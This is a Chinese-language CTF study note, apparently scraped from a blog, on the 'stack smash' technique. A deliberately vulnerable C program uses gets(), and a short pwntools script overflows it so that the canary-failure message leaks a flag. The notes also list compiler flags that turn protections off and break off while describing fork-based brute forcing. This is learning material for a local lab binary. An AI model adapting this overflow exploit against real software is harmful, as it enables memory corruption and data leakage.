您现在的位置是:主页 > news > 哪些网站是做设计的/教育培训机构报名
哪些网站是做设计的/教育培训机构报名
admin2025/5/13 0:48:45【news】
简介哪些网站是做设计的,教育培训机构报名,做网站手机号抓取的公司,学校网站模板图片1.stack smash 具有canary保护的程序在canary检查不同时,回报错,然后打印出文件名,文件名好像是在运行的时候保存进去的。 sudo apt-get install gcc-multilib g-multilib module-assistant 当canary被改后 程序会调用 _stack_chk_failplt…
1.stack smash
具有canary保护的程序在canary检查不同时,回报错,然后打印出文件名,文件名好像是在运行的时候保存进去的。
sudo apt-get install gcc-multilib g++-multilib module-assistant
当canary被改后
程序会调用 _stack_chk_fail@plt
然后调用__fortify__fail
源代码
__stack_chk_fail函数,它会调用__fortify_fail函数,__fortify_fail函数有一个参数,这个参数就是我们程序崩溃的时候打印出来的数据。
,
下边是__fortify_fail 函数的源代码。他又会调用__libc_message函数 ,__libc_message
又类似于printf(2,"***%s*** :%s terminated\n",msg,__libc_argv[0] ?: "<unknown>");
__libc_argv[0] ?: "<unknown>"//如果__libc_argv[0]非空的话,就输出__libc_argc[0]
否则输出<unknown>
main函数实际上是有两个参数的,第一个参数是一个int 第二个是一个char数组【文件名】,
而这个文件名,就是__libc_argv[0]
它存在于main函数函数栈的下方。
下边的是一般的测试代码,直接gcc就行
#include<stdio.h>void func()
{char a[0x10];read(0,a,0x500);return;
}
int main(void)
{func();return 0;
}
运行结果 :
下边看一个例题:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>char flag[0x40];
void inits()
{setbuf(stdin,0);setbuf(stdout,0);setbuf(stderr,0);int fd=open("./flag",0);if(fd==-1){puts("Something wrong!");exit(0);}read(fd,flag,0x30);close(fd);
}int main()
{char a[0x20];inits();puts("Hello!");gets(a);return 0;
}
//gcc stacksmash2.c -no-pie -o stacksmasht
- NX:
-z execstack
/-z noexecstack
(关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了 - Canary:
-fno-stack-protector
/-fstack-protector
/-fstack-protector-all
(关闭 / 开启 / 全开启) 栈里插入cookie信息 - PIE:
-no-pie
/-pie
(关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk - RELRO:
-z norelro
/-z lazy
/-z now
(关闭 / 部分开启 / 完全开启) 对GOT表具有写权限
那我们如果一开始把flag读入,故意触发canary,是不是就可以打印出来flag
如果我们知道flag的地址,那么我们可以利用栈溢出,将__libc_argv[0]所在的地址改为flag的地址,那么,就可以打印出flag。
全局变量存在于.bss段
main函数调用了inits()函数
这里不太懂
open返回的是文件的流对象。也就是说现在fd里是flag的流。
又好像是文件描述符,
read 将fd读到定义的flag地址里,那么就是把文件flag的流写入到了flag变量的地址里。
ssize_t read(int fd, void * buf, size_t count);
read()会把参数fd 所指的文件传送count 个字节到buf 指针所指的内存中. 若参数count 为0, 则read()不会有作用并返回0.
inits函数把fd写到了flag的地址里。
flag的地址是0x6010c0
通过gdb调试,查看name距离栈有多远
stack 0x100
要覆盖的是这里:
输入的位置是这里。
距离:
exp:
from pwn import *
context.log_level='debug'
p=process("./stacksmasht64")
#pause()
p.sendline(b'a'*0x118+p64(0x00000000006010C0))
p.interactive()
#0x7fffffffe1b8 -0x7fffffffdce0
#0x7fffffffe1d8-0x7fffffffdce0# 0x7fffffffdce0-0x7fffffffddf8
成功输出。
2.多进程的爆破
2.1.pid_fork(void)
创建一个新的进程,操作系统会复制父进程的地址空间中的内容给子进程。
调用fork函数后,子进程与父进程的执行顺序是无法确定的。
子进程无法通过fork()来创建子进程。
该函数有三种·返回值
(1)在父进程中,fork反回新创建的进程id;
(2)在子进程中,fork返回0;
(3)如果出现错误,fork返回一个负值;